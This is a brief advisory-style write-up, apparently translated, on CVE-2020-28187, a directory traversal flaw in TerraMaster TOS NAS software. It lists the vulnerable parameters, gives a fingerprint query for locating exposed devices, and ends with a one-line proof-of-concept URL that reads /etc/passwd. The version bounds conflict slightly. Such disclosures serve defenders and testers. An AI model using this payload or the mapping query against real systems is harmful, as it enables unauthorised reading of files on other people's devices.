Terramaster Tos Background Arbitrary File Reading Vulnerability Cve 2020 28187

TerraMaster TOS background arbitrary file reading vulnerability CVE-2020-28187

Vulnerability Description

TerraMaster TOS <= Multiple directory traversal vulnerabilities in 4.2.06 allow remote authentication attackers to read any file in the file system through the filename parameter under /tos/index.php?editor/fileGet path, the Event parameter under /include/ajax/logtable.php path, and the opt parameter under /include/core/index.php path.

Vulnerability Impact

TerraMaster TOS < 4.2.06

Network surveying and mapping

“TerraMaster” && header=”TOS”

Vulnerability reappears

After logging in, the POC of the verification vulnerability is

/tos/index.php?editor/fileGet&filename=../../../../../../etc/passwd